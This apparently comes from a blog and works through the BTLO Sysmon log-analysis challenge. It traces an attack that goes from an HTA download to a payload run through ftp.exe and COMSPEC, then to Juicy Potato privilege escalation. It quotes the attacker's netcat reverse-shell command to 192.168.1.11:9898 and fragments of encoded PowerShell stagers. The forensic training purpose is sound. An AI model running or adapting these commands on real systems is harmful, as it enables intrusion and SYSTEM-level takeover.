BTLO— Log Analysis Sysmon

7 min readJul 12, 2021

Scenario:

You are provided with Sysmon logs from a compromised endpoint. Analyse the logs to find out the steps and techniques used by the attacker.

Challenge Questions:

The Approach:

All challenges provided by Blue Team Labs are free. If you’d like to follow along, you can find the challenge here.

First, download the archive file provided on the challenge page named “BTLO-LogAnalysisSysmon.zip”. Contained within the archive is a json file that has the sysmon logs needed to be analyzed.

In this challenge question, two asks,

“What is the PowerShell cmdlet used to download the malware file, and what is the port?”

This question gives us a good starting point, as now it is known the attacker had used PowerShell in order to carry out a portion of their attack. This information can be used to start querying the Sysmon data set.

The first step in the analysis I performed was a quick grep on the sysmon dataset looking for keyword hits on PowerShell. I redirected that output to a text file to get the PowerShell activity isolated and to help orient myself.

The attacker executed quite a few encoded PowerShell commands on the system. I’ll explain how to decode those later in this write up. The attacker utilized the Invoke-Webrequest PowerShell cmdlet to download a file named supply.exe from 192.168.1.11 on port 6969. If this were an actual attack, you could now use the IP address 192.168.1.11 and the executable that was downloaded “supply.exe” as starting point IOCs for widescale investigation.

Great, now a good starting point has been established, but the question remains. How did this happen? Question 1, asks, what is the file that gave access to the attacker?

Now that the malicious IP address was identified as 192.168.1.11, I wanted to determine the earliest time the endpoint communicated with this IP address which will help narrow the timeline down to initial access.

In the sysmon-events.json file I searched for the IP address 192.168.1.11. The first event recorded was a Sysmon Event ID: 15.

Sysmon Event ID: 15 FileCreateStreamHash is recorded when a named file stream is created, and it generates events that log the hash of the contents of the file to which the stream is assigned (the unnamed stream), as well as the contents of the named stream. There are malware variants that drop their executables or configuration settings via browser downloads, and this event is aimed at capturing that based on the browser attaching a Zone.Identifier “mark of the web” stream.

Analysis of the event indicates Chrome.exe was used to download an HTA file named updater.hta from 192.168.1.11. The alternate data stream (Zone.Identifier) is created alongside the HTA file after being downloaded from the hosting server 192.168.1.11.

The ZoneIdentifier is used to assist windows in determining if a file should be trusted or not based on the zone it originated from. There are a total of five zone identifiers:

0 — Local Machine Zone

1 — Local Intranet Zone

2 — Trusted Sites Zone

3 — Internet Zone

4 — Restricted Sites Zone

In this case, the Zone Identifier is three, which supports Chrome.exe downloaded the file. The answer to question 1 is updater.hta.

So, in answering the first two questions, it’s now known the attacker downloaded an hta file. At some point, PowerShell spawned and executed encoded commands on behalf of the attacker. The creation date for the ADS relating to the updater.hta file was on 2021–05–07 at 12:20:23 UTC. That time indicates the earliest time of compromise. Analysis of the sysmon events that proceed this event is a good starting point for the rest of the host analysis.

Instead of timelining the events and combing through the logs one by one to answer question three, which asked, What is the name of the environment variable set by the attacker? I searched for keywords associated with such activity. One of them was “COMSPEC”. %COMSPEC% is an environment variable that normally points to cmd.exe. In this instance, the attacker leveraged and set the environment variable to execute the supply.exe executable. The answer is comspec=c:\Windows\temp\supply.exe

Question four asks, What is the process used as a LOLBIN to execute malicious commands? The comspec environment variable was set by the attacker at 12:21:43 UTC. Exactly 56 seconds later at 12:22:39 UTC ftp.exe was executed with the following command line:

cmd \c set comspec=C:\\windows\temp\supply.exe

ftp.exe then executed the malicious payload supply.exe at 12:22:41 UTC.

ftp.exe can be used as a lolbin for additional reading. Visit the lolbas-project and Hexacom’s blog.

Essentially, what happened is the attacker set comspec to c:\windows\temp\supply.exe. When “!” is typed in ftp.exe the shell() function is called within ftp.exe, and a CreateProcess API call is used to execute whatever application you want. In this case the malicious supply.exe.

So, now that supply.exe has been executed, what is it doing? Question five asks, Malware executed multiple commands at the same time, what is the first command executed?

I searched for supply.exe in the provided sysmon logs to identify the processes behavior. During that search, I noticed one of the first commands issued was supply.exe /c ipconfig to collect TCP/IP network configurations on the host system.

Question six asks, looking at the dependency events around the malware, determine the language the malware was written in. Supply.exe loads the DLL named python27.dll from the AppData\Local\Temp\_MEI53922 directory. This dll is associated with python and the fact that it loaded this dll indicates it was written in python.

Question seven asks, the malware then downloads a new file, find out the full URL of the file downloaded.

Earlier in the attack lifecycle, when the attacker downloaded supply.exe to the host, they used the PowerShell cmdlet Invoke-WebRequest. Knowing this was a tactic the attacker used, they likely utilized that same cmdlet to download another file. With that in mind, I performed another keyword search on the sysmon dataset for “Invoke-WebRequest”. The attacker downloaded a publicly available privilege escalation tool named Juicy Potato. I highly recommend reading the following write up about the tool written by its creators here. The answer to the question is https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe and port 443

The last question asked is, What is the port number the attacker uses to establish a reverse shell?

Shortly, after downloading JuicyPotato onto the host. The attacker executed the following command:

“C:\\windows\\temp\\supply.exe /c \”juicy.exe -l 9999 -p nc.exe -a \”192.168.1.11 9898 -e cmd.exe\” -t t -c {B91D5831-B1BD-4608–8198-D72E155020F7}\”\n

The attacker used juicy.exe to spawn a netcat shell back to their system 192.168.1.11 on port 9898. {B91D5831-B1BD-4608–8198-D72E155020F7} is the CLSID of winmgmt whos owner is NT AUTHORITY\SYSTEM.
If juicy.exe successfully impersonates the privileges of winmgmt, the cmd.exe shell will spawn with NT AUTHORITY\SYSTEM privileges on the attacker’s machine, successfully escalating their privileges from IEUser.

Decoding the PowerShell

This wasn’t part of the challenge, but knowing how to decode PowerShell is essential for analysts. Attackers typically utilize encoding to obfuscate the contents of the malware which can prolong or hinder analysis, and to evade antivirus or malware detection rules. Decoding obfuscated PowerShell can help find IOCs and other indicators that will expedite the investigation process.

The first encoded PowerShell command issued was:

C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\” -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAI
REDACTED”,

To decode this you can use the following recipe on cyberchef here.

Decoding this reveals another layer of obfuscated code:

H4sIAPgilWACA7VW+2+bSBD+OZHyP6DKkkF1DH5cm0SqdAs2No1xcPDbtaoNrPHWC+vCEsft9X+/wYY0VZO79qRDfuxjZnbmm29nWKWRJyiPJNEj0tez0xMHxziU5FJQr0glL3RHpnJyAuslPG9cSO8keYG22xYPMY2WV1dGGsckEs REDACTED”

You can view it better on cyberchef here.

The second layer has yet another encoded PowerShell command. This is the shellcode. When trying to deobfuscate this all I was able to get back was unreadable junk. However, all is not lost. There is a nifty tool called scdbg that is a shellcode analysis application. When run, it’ll list out all of the Windows API calls the shellcode attempts to call. Read more on scdbg here.

The shellcode I attempted to obfuscate is here. To download and run it in scdbg, just select the save output to file option in scdbg.